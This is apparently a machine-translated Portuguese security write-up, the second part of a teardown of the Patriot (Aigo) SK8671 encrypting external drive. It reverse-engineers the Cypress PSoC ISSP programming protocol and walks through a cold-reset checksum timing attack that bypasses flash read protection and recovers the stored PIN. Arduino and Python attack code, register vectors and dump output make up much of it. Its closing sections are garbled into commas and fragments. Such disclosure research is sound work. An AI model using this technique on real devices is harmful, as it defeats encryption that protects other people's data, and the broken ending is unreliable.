Esta é a segunda e última parte do artigo sobre como invadir unidades externas de criptografia automática. Recordo que um colega recentemente me trouxe um disco rígido Patriot (Aigo) SK8671, e decidi revertê-lo, e agora estou compartilhando o que veio dele. Antes de continuar a leitura, leia a primeira parte do artigo.
4. Começamos a remover o despejo da unidade flash interna PSoC
5. protocolo ISSP
5.1. O que é um ISSP?
5.2. Desmistificação de vetores
5.3. Conversar com PSoC
- 5.4 Identificação de registros intra-chip
- 5.5 Bits de proteção
6. Primeiro ataque (com falha): ROMX
7. Segundo ataque: rastreamento com reset a frio
- 7.1 Implementação
7.2. Leia o resultado
7.3. Reconstrução do binário flash
- 7.4 Encontre o endereço de armazenamento do código PIN
- 7,5. Nós removemos o despejo do bloco n ° 126
- 7.6 Recuperação Pincode
8. O que vem depois?
9. Conclusão

4. Começamos a remover o despejo da unidade flash interna PSoC
Portanto, tudo indica (como estabelecemos em [a primeira parte] ()) que o código PIN é armazenado nas entranhas do flash PSoC. Portanto, precisamos ler esses intestinos instantâneos. Frente do trabalho necessário:
- assumir o controle da "comunicação" com o microcontrolador;
- encontre uma maneira de verificar se essa "comunicação" está protegida da leitura externa;
- encontre uma maneira de contornar a segurança.
Há dois lugares em que faz sentido procurar um código PIN válido:
- memória flash interna;
- SRAM, onde o código PIN pode ser armazenado para compará-lo com o código PIN inserido pelo usuário.
Olhando para o futuro, observo que ainda consegui remover o despejo da unidade flash interna do PSoC, ignorando seu sistema de proteção, com a ajuda do ataque de hardware "trace with cold reset", depois de reverter os recursos não documentados do protocolo ISSP. Isso me permitiu despejar diretamente o código PIN atual.
$ ./psoc.py syncing: KO OK [...] PIN: 1 2 3 4 5 6 7 8 9
O código do programa resultante:
5. protocolo ISSP
5.1 O que é um ISSP?
“Comunicação” com o microcontrolador pode significar coisas diferentes: de “fornecedor para fornecedor”, para interação usando um protocolo serial (por exemplo, ICSP para PIC da Microchip).
O Cypress possui seu próprio protocolo proprietário, chamado ISSP (protocolo de programação serial no sistema), que é parcialmente descrito na especificação técnica . US7185162 também fornece algumas informações. Há também um analógico de código aberto chamado HSSP (vamos usá-lo um pouco mais tarde). O ISSP funciona da seguinte maneira:
- reinicie o PSoC;
- traga o número mágico para a seção de dados seriais deste PSoC; para entrar no modo de programação externa;
- envie comandos que são longas cadeias de bits chamadas "vetores".
Na documentação do ISSP, esses vetores são definidos apenas para um pequeno punhado de comandos:
- Inicializar-1
- Initialize-2
- Initialize-3 (opções de 3V e 5V)
- ID-SETUP
- LEIA-ID-PALAVRA
- SET-BLOCK-NUM: 10011111010dddddddd111, em que dddddddd = bloco #
- ERASE A GRANEL
- BLOCO DE PROGRAMA
- VERIFICAR CONFIGURAÇÃO
- READ-BYTE: 10110aaaaaaZDDDDDDDDDZ1, em que DDDDDDDDDD = saída de dados, aaaaaa = endereço (6 bits)
- WRITE-BYTE: 10010aaaaaadddddddd111, em que dddddddd = entrada de dados, aaaaaa = endereço (6 bits)
- Seguro
- CONFIGURAÇÃO DE CHECKSUM
- READ-CHECKSUM: 10111111001ZDDDDDDDDDZ110111111000ZDDDDDDDDZ1, em que DDDDDDDDDDDDDDDDD = saída de dados: soma de verificação do dispositivo
- APAGAR BLOCO
Por exemplo, o vetor para Initialize-2:
1101111011100000000111 1101111011000000000111 1001111100000111010111 1001111100100000011111 1101111010100000000111 1101111010000000011111 1001111101110000000111 1101111100100110000111 1101111101001000000111 1001111101000000001111 1101111000000000110111 1101111100000000000111 1101111111100010010111
Todos os vetores têm o mesmo comprimento: 22 bits. A documentação do HSSP possui algumas informações adicionais sobre os ISSPs: "Um vetor ISSP nada mais é do que uma sequência de bits que representa um conjunto de instruções".
5.2 Desmistificação de vetores
Vamos ver o que acontece aqui. Inicialmente, assumi que esses mesmos vetores são variantes brutas das instruções M8C; no entanto, tendo testado essa hipótese, descobri que os códigos de operação das operações não correspondem.
Depois, pesquisei no vetor acima e me deparei com este estudo, onde o autor, embora não entre em detalhes, fornece algumas dicas práticas: “Cada instrução começa com três bits que correspondem a uma das quatro mnemônicas (leia da RAM, escreva para RAM , leia o registro, escreva o registro). Depois vem o endereço de 8 bits, seguido por 8 bits de dados (lidos ou gravados) e, finalmente, três bits de parada. ”
Pude reunir algumas informações muito úteis na seção ROM de supervisão (SROM) do manual técnico . SROM é uma ROM codificada no PSoC que fornece funções de serviço (semelhantes ao Syscall) para código de software em execução no espaço do usuário:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: Leitura da tabela
- 07h: CheckSum
- 08h: Calibrar0
- 09h: Calibrar1
Comparando nomes de vetores com funções SROM, podemos mapear as várias operações suportadas por este protocolo para os parâmetros SROM esperados. Graças a isso, podemos decodificar os três primeiros bits dos vetores ISSP:
- 100 => "wrmem"
- 101 => "rdmem"
- 110 => "wrreg"
- 111 => "rdreg"
No entanto, um entendimento completo dos processos intra-chip só pode ser obtido através da comunicação direta com o PSoC.
5.3 Conversar com PSoC
Como Dirk Petrautsky já portou o código Cypress HSSP para o Arduino, usei o Arduino Uno para conectar a placa do teclado ao conector ISSP.
Observe que, durante minha pesquisa, mudei praticamente o código Dirk. Você pode encontrar minha modificação no GitHub: aqui está o script Python correspondente para se comunicar com o Arduino, no meu repositório cypress_psoc_tools .
Então, usando o Arduino, no começo eu usei apenas vetores “oficiais” para “comunicação”. Tentei ler a ROM interna usando o comando VERIFY. Como esperado, eu não poderia fazer isso. Provavelmente devido ao fato de que os bits de proteção de leitura são ativados dentro da unidade flash.
Então eu criei alguns dos meus vetores simples para escrever e ler a memória / registros. Observe que podemos ler o SROM inteiro, mesmo que a unidade flash esteja protegida!
5.4 Identificação de registros intra-chip
Observando os vetores "desmontados", descobri que o dispositivo usa registros não documentados (0xF8-0xFA) para indicar opcodes M8C que são executados diretamente, ignorando a proteção. Isso me permitiu executar vários códigos de operação, como "ADD", "MOV A, X", "PUSH" ou "JMP". Graças a eles (observando os efeitos colaterais que eles causam nos registros), pude determinar qual dos registros não documentados são na verdade registros regulares (A, X, SP e PC).
Como resultado, o código "desmontado" gerado pela ferramenta HSSP_disas.rb se parece com isso (para maior clareza, adicionei comentários):
--== init2 ==-- [DE E0 1C] wrreg CPU_F (f7), 0x00 # [DE C0 1C] wrreg SP (f6), 0x00 # SP [9F 07 5C] wrmem KEY1, 0x3A # SSC [9F 20 7C] wrmem KEY2, 0x03 # [DE A0 1C] wrreg PCh (f5), 0x00 # PC (MSB) ... [DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... 3 ?? [9F 70 1C] wrmem POINTER, 0x80 # RAM- [DF 26 1C] wrreg opc1 (f9), 0x30 # 1 => "HALT" [DF 48 1C] wrreg opc2 (fa), 0x40 # 2 => "NOP" [9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID SSC [DE 00 DC] wrreg A (f0), 0x06 # "Syscall" : TableRead [DF 00 1C] wrreg opc0 (f8), 0x00 # SSC, "Supervisory SROM Call" [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # :
5.5 Bits de proteção
Nesta fase, já posso me comunicar com o PSoC, mas ainda não tenho informações confiáveis sobre os bits de proteção da unidade flash. Fiquei muito surpreso com o fato de o Cypress não fornecer ao usuário do dispositivo meios para verificar se a proteção está ativada. Entrei profundamente no Google para finalmente entender que o código HSSP fornecido pelo Cypress foi atualizado depois que Dirk lançou sua modificação. E lá vai você! Aqui está um novo vetor como este:
[DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [9F A0 1C] wrmem 0xFD, 0x00 # [9F E0 1C] wrmem 0xFF, 0x00 # [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 02 1C] wrreg A (f0), 0x10 # syscall ! [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
Usando esse vetor (consulte read_security_data em psoc.py), obtemos todos os bits de proteção na SRAM em 0x80, onde cada bit é protegido com dois bits.
O resultado é deprimente: tudo é protegido no modo "desativar leitura e gravação externas". Portanto, não podemos apenas ler qualquer coisa da unidade flash USB, mas também escrevê-la (por exemplo, para introduzir um dumper de ROM). E a única maneira de desativar a proteção é apagar completamente o chip inteiro. :-(
6. Primeiro ataque (com falha): ROMX
No entanto, podemos tentar o seguinte truque: como temos a capacidade de executar códigos opcionais arbitrários, por que não executar o ROMX, que é usado para ler a memória flash? Essa abordagem tem uma boa chance de sucesso. Como a função ReadBlock, que lê dados do SROM (usado por vetores), verifica se é chamada pelo ISSP. No entanto, o código de operação ROMX, presumivelmente, pode não ter essa verificação. Então, aqui está o código Python (depois de adicionar algumas classes auxiliares ao código Arduino C):
for i in range(0, 8192): write_reg(0xF0, i>>8) # A = 0 write_reg(0xF3, i&0xFF) # X = 0 exec_opcodes("\x28\x30\x40") # ROMX, HALT, NOP byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A print "%02x" % ord(byte[0]) # print ROM byte
Infelizmente, esse código não funciona. :-( Em vez disso, funciona, mas na saída obtemos nossos próprios opcodes (0x28 0x30 0x40)! Não acho que a funcionalidade correspondente do dispositivo seja um elemento de proteção de leitura. Isso é mais um truque de engenharia: ao executar opcodes externos, o barramento de ROM é redirecionado para um buffer temporário.
7. Segundo ataque: rastreamento com reset a frio
Como o truque do ROMX não funcionou, comecei a pensar em outra variação desse truque - descrita na publicação "Lançar muita luz na proteção de firmware de um microcontrolador" .
7.1 Implementação
O seguinte vetor para CHECKSUM-SETUP está listado na documentação do ISSP:
[DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [9F 40 1C] wrmem BLOCKID, 0x00 [DE 00 FC] wrreg A (f0), 0x07 [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
Aqui, em essência, a função SROM 0x07 é chamada, conforme apresentado na documentação (itálico meu):
Esta função soma de verificação soma de verificação. Ele calcula uma soma de verificação de 16 bits do número de blocos definido pelo usuário em um banco flash, contando a partir de zero. O parâmetro BLOCKID é usado para transferir o número de blocos que serão usados ao calcular a soma de verificação. Um valor de "1" calculará a soma de verificação apenas para o bloco zero; enquanto "0" levará ao fato de que a soma total de verificação de todos os 256 blocos do banco flash será calculada. Uma soma de verificação de 16 bits é retornada via KEY1 e KEY2. No parâmetro KEY1, os 8 bits baixos da soma de verificação são fixos e, na KEY2, os 8 bits altos são registrados. Para dispositivos com vários bancos de flash, a função de soma de verificação é chamada para cada um individualmente. O número do banco com o qual ele trabalhará é definido pelo registro FLS_PR1 (configurando um bit correspondente ao banco flash de destino).
Observe que esta é a soma de verificação mais simples: os bytes são simplesmente somados um por um; sem peculiaridades sofisticadas da CRC. Além disso, sabendo que o conjunto de registros no núcleo M8C é muito pequeno, presumi que, ao calcular a soma de verificação, os valores intermediários serão fixados nas mesmas variáveis que eventualmente serão geradas: KEY1 (0xF8) / KEY2 (0xF9).
Então, em teoria, meu ataque é assim:
- Conecte-se através do ISSP.
- Iniciamos o cálculo da soma de verificação usando o vetor CHECKSUM-SETUP.
- Reiniciamos o processador após o tempo especificado T.
- Leia RAM para obter a soma de verificação atual C.
- Repita as etapas 3 e 4, aumentando cada vez mais T.
- Recuperamos os dados da unidade flash subtraindo a soma de verificação C anterior da atual.
No entanto, surgiu um problema: o vetor Initialize-1, que devemos enviar após a reinicialização, substitui KEY1 e KEY2:
1100101000000000000000 # , PSoC nop nop nop nop nop [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A # [9F 20 7C] wrmem KEY2, 0x03 # [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 01 3C] wrreg A (f0), 0x09 # SROM- 9 [DF 00 1C] wrreg opc0 (f8), 0x00 # SSC [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
Esse código substitui nossa preciosa soma de verificação, chamando Calibrate1 (função SROM 9) ... Talvez possamos simplesmente entrar no modo de programação enviando o número mágico (do início do código acima) e depois ler SRAM? E sim, funciona! O código do Arduino que implementa esse ataque é bastante simples:
case Cmnd_STK_START_CSUM: checksum_delay = ((uint32_t)getch())<<24; checksum_delay |= ((uint32_t)getch())<<16; checksum_delay |= ((uint32_t)getch())<<8; checksum_delay |= getch(); if(checksum_delay > 10000) { ms_delay = checksum_delay/1000; checksum_delay = checksum_delay%1000; } else { ms_delay = 0; } send_checksum_v(); if(checksum_delay) delayMicroseconds(checksum_delay); delay(ms_delay); start_pmode();
- Leia checkum_delay.
- Execute o cálculo da soma de verificação (send_checksum_v).
- Aguarde um determinado período de tempo; dadas as seguintes armadilhas:
- Passei muito tempo até descobrir que delayMicrosegundos acabou funcionando corretamente apenas com atrasos não superiores a 16383mks;
- e, em seguida, novamente matou a mesma quantidade de tempo até descobrir que delayMicroseconds, se passou 0 para sua entrada, funcionou completamente errado!
- Recarregue o PSoC no modo de programação (basta enviar o número mágico, sem enviar vetores de inicialização).
O código Python resultante:
for delay in range(0, 150000):
Em poucas palavras, o que esse código faz:
- Recarrega o PSoC (e envia um número mágico).
- Envia vetores de inicialização completos.
- Chama a função Arduino Cmnd_STK_START_CSUM (0x85), onde o atraso em microssegundos é passado como um parâmetro.
- Lê a soma de verificação (0xF8 e 0xF9) e o registro não documentado 0xF1.
Este código é executado 10 vezes em 1 microssegundo. 0xF1 está incluído aqui porque foi o único registro que foi alterado ao calcular a soma de verificação. Talvez este seja algum tipo de variável temporária usada pelo dispositivo lógico aritmético. Preste atenção ao feio truque que eu reinicio o Arduino usando picocom quando o Arduino para de dar sinais de vida (não faço ideia do porquê).
7.2 Leia o resultado
O resultado do script Python se parece com este (simplificado para facilitar a leitura):
DELAY F1 F8 F9 # F1 – # F8 # F9 00000 03 E1 19 [...] 00016 F9 00 03 00016 F9 00 00 00016 F9 00 03 00016 F9 00 03 00016 F9 00 03 00016 F9 00 00 # 0 00017 FB 00 00 [...] 00023 F8 00 00 00024 80 80 00 # 1- : 0x0080-0x0000 = 0x80 00024 80 80 00 00024 80 80 00 [...] 00057 CC E7 00 # 2- : 0xE7-0x80: 0x67 00057 CC E7 00 00057 01 17 01 # , 00057 01 17 01 00057 01 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 F8 E7 00 # E7? 00058 D0 17 01 [...] 00059 E7 E7 00 00060 17 17 00 # [...] 00062 00 17 00 00062 00 17 00 00063 01 17 01 # , ! 00063 01 17 01 [...] 00075 CC 17 01 # , 0x117-0xE7: 0x30
Ao mesmo tempo, temos um problema: como operamos na soma de verificação real, um byte zero não altera o valor de leitura. No entanto, como todo o procedimento de cálculo (8192 bytes) leva 0,1478 segundos (com pequenos desvios a cada inicialização), o que corresponde aproximadamente a 18,04 μs por byte, podemos usar esse tempo para verificar o valor da soma de verificação em momentos adequados. Nas primeiras execuções, tudo é lido com muita facilidade, pois a duração do procedimento computacional é sempre quase a mesma. No entanto, o final desse despejo é menos preciso, porque os "desvios insignificantes no tempo" a cada execução são resumidos e se tornam significativos:
134023 D0 02 DD 134023 CC D2 DC 134023 CC D2 DC 134023 CC D2 DC 134023 FB D2 DC 134023 3F D2 DC 134023 CC D2 DC 134024 02 02 DC 134024 CC D2 DC 134024 F9 02 DC 134024 03 02 DD 134024 21 02 DD 134024 02 D2 DC 134024 02 02 DC 134024 02 02 DC 134024 F8 D2 DC 134024 F8 D2 DC 134025 CC D2 DC 134025 EF D2 DC 134025 21 02 DD 134025 F8 D2 DC 134025 21 02 DD 134025 CC D2 DC 134025 04 D2 DC 134025 FB D2 DC 134025 CC D2 DC 134025 FB 02 DD 134026 03 02 DD 134026 21 02 DD
São 10 despejos para cada atraso de microssegundo. O tempo total de operação para descarregar todos os 8192 bytes de uma unidade flash é de aproximadamente 48 horas.
7.3 Reconstrução do binário flash
Ainda não terminei de escrever um código que reconstrua completamente o código do programa da unidade flash, levando em consideração todos os desvios no tempo. No entanto, eu já restaurei o início desse código. Para garantir que eu fiz corretamente, desmontei-o usando o m8cdis:
0000: 80 67 jmp 0068h ; Reset vector [...] 0068: 71 10 or F,010h 006a: 62 e3 87 mov reg[VLT_CR],087h 006d: 70 ef and F,0efh 006f: 41 fe fb and reg[CPU_SCR1],0fbh 0072: 50 80 mov A,080h 0074: 4e swap A,SP 0075: 55 fa 01 mov [0fah],001h 0078: 4f mov X,SP 0079: 5b mov A,X 007a: 01 03 add A,003h 007c: 53 f9 mov [0f9h],A 007e: 55 f8 3a mov [0f8h],03ah 0081: 50 06 mov A,006h 0083: 00 ssc [...] 0122: 18 pop A 0123: 71 10 or F,010h 0125: 43 e3 10 or reg[VLT_CR],010h 0128: 70 00 and F,000h ; Paging mode changed from 3 to 0 012a: ef 62 jacc 008dh 012c: e0 00 jacc 012dh 012e: 71 10 or F,010h 0130: 62 e0 02 mov reg[OSC_CR0],002h 0133: 70 ef and F,0efh 0135: 62 e2 00 mov reg[INT_VC],000h 0138: 7c 19 30 lcall 1930h 013b: 8f ff jmp 013bh 013d: 50 08 mov A,008h 013f: 7f ret
Parece bastante crível!
7.4 Encontre o endereço de armazenamento do código PIN
Agora que podemos ler a soma de verificação no momento em que precisamos, podemos verificar facilmente como e onde ela muda quando:
- digite o código errado;
- mude o código PIN.
Primeiro, para encontrar o endereço de armazenamento aproximado, fiz um despejo de soma de verificação em incrementos de 10 ms após uma reinicialização. Então entrei no código PIN errado e fiz o mesmo.
O resultado não foi muito agradável, pois houve muitas mudanças. Mas, no final, pude estabelecer que a soma de verificação mudou em algum lugar no intervalo entre 120.000 µs e 140.000 µs de atraso. Mas o “código PIN” que cheguei lá estava completamente errado - devido ao artefato delayMicroseconds do procedimento, que faz coisas estranhas quando obtém 0.
Depois de passar quase três horas, lembrei que a chamada do sistema CheckSum SROM na entrada recebe um argumento especificando o número de blocos para a soma de verificação! T.O. podemos localizar facilmente o endereço de armazenamento do código PIN e o contador de "tentativas incorretas", precisas para o bloco de 64 bytes.
Minhas execuções iniciais deram o seguinte resultado:

Então mudei o código PIN de "123456" para "1234567" e recebi:

Assim, o código PIN e o contador de tentativas incorretas parecem estar armazenados no bloco nº 126.
7.5 Nós removemos o despejo do bloco n ° 126
O bloco nº 126 deve estar localizado em algum lugar na região de 125x64x18 = 144000mks, desde o início do cálculo da soma de verificação, no meu despejo completo, e parece bastante crível. Então, depois de selecionar manualmente vários dumps inválidos (devido ao acúmulo de "pequenos desvios no tempo"), finalmente obtive esses bytes (com um atraso de 145527 μs):

É claro que o código PIN é armazenado em forma não criptografada! É claro que esses valores não estão escritos em códigos ASCII, mas, como se vê, refletem as leituras obtidas no teclado capacitivo.
Por fim, executei mais alguns testes para descobrir onde o contador de tentativas incorretas está armazenado. Aqui está o resultado:

0xFF - significa "15 tentativas" e diminui a cada tentativa incorreta.
7.6 Recuperação Pincode
Aqui está o meu código feio que reúne todos os itens acima:
def dump_pin(): pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5", 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"} last_csum = 0 pin_bytes = [] for delay in range(145495, 145719, 16): csum = csum_at(delay, 1) byte = (csum-last_csum)&0xFF print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte) pin_bytes.append(byte) last_csum = csum print "PIN: ", for i in range(0, len(pin_bytes)): if pin_bytes[i] in pin_map: print pin_map[pin_bytes[i]], print
Aqui está o resultado de sua execução:
$ ./psoc.py syncing: KO OK Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK 145495 53e2 (0000) => e2 145511 5407 (53e2) => 25 145527 542d (5407) => 26 145543 5454 (542d) => 27 145559 5474 (5454) => 20 145575 5495 (5474) => 21 145591 54b7 (5495) => 22 145607 54da (54b7) => 23 145623 5506 (54da) => 2c 145639 5506 (5506) => 00 145655 5533 (5506) => 2d 145671 554c (5533) => 19 145687 554e (554c) => 02 145703 554e (554e) => 00 PIN: 1 2 3 4 5 6 7 8 9
Viva! Isso funciona!
Observe que os valores de atraso usados por mim são provavelmente relevantes para um PSoC específico - o que eu usei.
8. O que vem depois?
, PSoC, Aigo:
, – - . :
- , « »;
- FPGA- ( Arduino);
- : , RAM, , RAM, . Arduino - , Arduino 5 , 3,3 .
, – , . , , – , .
SROM, ReadBlock, , – , «REcon Brussels 2017» .
, – : SRAM, .
9.
, , ( «») … (), !
Aigo? - HDD-, 2015 SyScan, HDD-, , . :-)
. 40 . ( ) ( ). 40 , . .